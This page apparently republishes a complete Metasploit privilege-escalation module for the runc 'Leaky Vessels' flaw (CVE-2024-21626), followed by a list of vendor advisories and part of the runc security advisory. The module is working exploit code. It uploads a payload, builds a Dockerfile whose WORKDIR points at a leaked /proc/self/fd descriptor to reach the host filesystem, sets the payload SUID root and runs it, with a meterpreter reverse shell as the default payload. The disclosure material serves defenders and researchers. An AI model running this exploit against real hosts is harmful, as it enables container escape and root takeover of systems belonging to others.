Headline
runc 1.1.11 File Descriptor Leak Privilege Escalation
runc versions 1.1.11 and below, as used by containerization technologies such as Docker engine and Kubernetes, are vulnerable to an arbitrary file write vulnerability. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation', 'Description' => %q{ All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, and Kubernetes are vulnerable to an arbitrary file write. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Rory McNamara' # Discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], [ 'CVE', '2024-21626'] ], 'DisclosureDate' => '2024-01-31', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Leaky Vessels'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'MeterpreterTryToFork' => true } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]), OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]), ] end def base_dir datastore['WritableDir'].to_s end def check sys_info = get_sysinfo unless sys_info[:distro] == 'ubuntu' return CheckCode::Safe('Check method only available for Ubuntu systems') end return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc') # Check the app is installed and the version, debian based example package = cmd_exec('runc --version') package = package.split[2] # runc, version, <the actual version> if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2 package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched return CheckCode::Appears("Vulnerable runc version #{package} detected") end unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln return CheckCode::Appears("Vulnerable runc version #{package} detected") end CheckCode::Safe("runc #{package} is not vulnerable") end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # create directory to write all our files to dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(dir) register_dirs_for_cleanup(dir) # Upload payload executable payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Uploading Payload to #{payload_path}") write_file(payload_path, generate_payload_exe) register_file_for_cleanup(payload_path) # write docker file vprint_status("Uploading Dockerfile to #{dir}/Dockerfile") dockerfile = %(FROM #{datastore['DOCKERIMAGE']} WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} ) write_file("#{dir}/Dockerfile", dockerfile) register_file_for_cleanup("#{dir}/Dockerfile") print_status('Building from Dockerfile to set our payload permissions') output = cmd_exec "cd #{dir} && docker build ." output.each_line { |line| vprint_status line.chomp } # delete our docker image if output =~ /Successfully built ([a-z0-9]+)$/ print_status("Removing created docker image #{Regexp.last_match(1)}") output = cmd_exec "docker image rm #{Regexp.last_match(1)}" output.each_line { |line| vprint_status line.chomp } end fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory" fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path print_status("Payload permissions set, executing payload (#{payload_path})...") cmd_exec "#{payload_path} &" endend
Related news
Gentoo Linux Security Advisory 202408-25 - Multiple vulnerabilities have been discovered in runc, the worst of which could lead to privilege escalation. Versions greater than or equal to 1.1.12 are affected.
Red Hat Security Advisory 2024-1270-03 - An update for docker is now available for Red Hat Enterprise Linux 7 Extras.
Red Hat Security Advisory 2024-0764-03 - An update for the container-tools:rhel8 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.
Red Hat Security Advisory 2024-0760-03 - An update for the container-tools:3.0 module is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.
Red Hat Security Advisory 2024-0759-03 - An update for the container-tools:rhel8 module is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.
Red Hat Security Advisory 2024-0758-03 - An update for the container-tools:2.0 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.
Red Hat Security Advisory 2024-0757-03 - An update for the container-tools:4.0 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.
Red Hat Security Advisory 2024-0756-03 - An update for runc is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.
Red Hat Security Advisory 2024-0755-03 - An update for runc is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.
Red Hat Security Advisory 2024-0752-03 - An update for the container-tools:rhel8 module is now available for Red Hat Enterprise Linux 8.
Red Hat Security Advisory 2024-0748-03 - An update for the container-tools:4.0 module is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2024-0717-03 - An update for runc is now available for Red Hat Enterprise Linux 7 Extras.
Red Hat Security Advisory 2024-0670-03 - An update for runc is now available for Red Hat Enterprise Linux 9.
Debian Linux Security Advisory 5615-1 - It was discovered that runc, a command line client for running applications packaged according to the Open Container Format (OCF), was susceptible to multiple container break-outs due to an internal file descriptor leak.
Ubuntu Security Notice 6619-1 - Rory McNamara discovered that runC did not properly manage internal file descriptor while managing containers. An attacker could possibly use this issue to obtain sensitive information or bypass container restrictions.
### Impact In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from `runc exec`) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through `runc run` ("attack 1"). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes ("attack 3a" and "attack 3b"). Strictly speaking, while attack 3a is the most severe from a CVSS perspective, attacks 2 and 3b are arguably more dangerous in practice because they allow for a breakout from inside a container as opposed to requiring a user execute a malicious image. The reason attacks 1 and 3a are scored higher is because being able to socially engineer users is treated as a given for UI:R ...
Multiple security vulnerabilities have been disclosed in the runC command line tool that could be exploited by threat actors to escape the bounds of the container and stage follow-on attacks. The vulnerabilities, tracked as CVE-2024-21626, CVE-2024-23651, CVE-2024-23652, and CVE-2024-23653, have been collectively dubbed Leaky Vessels by cybersecurity vendor Snyk. "These container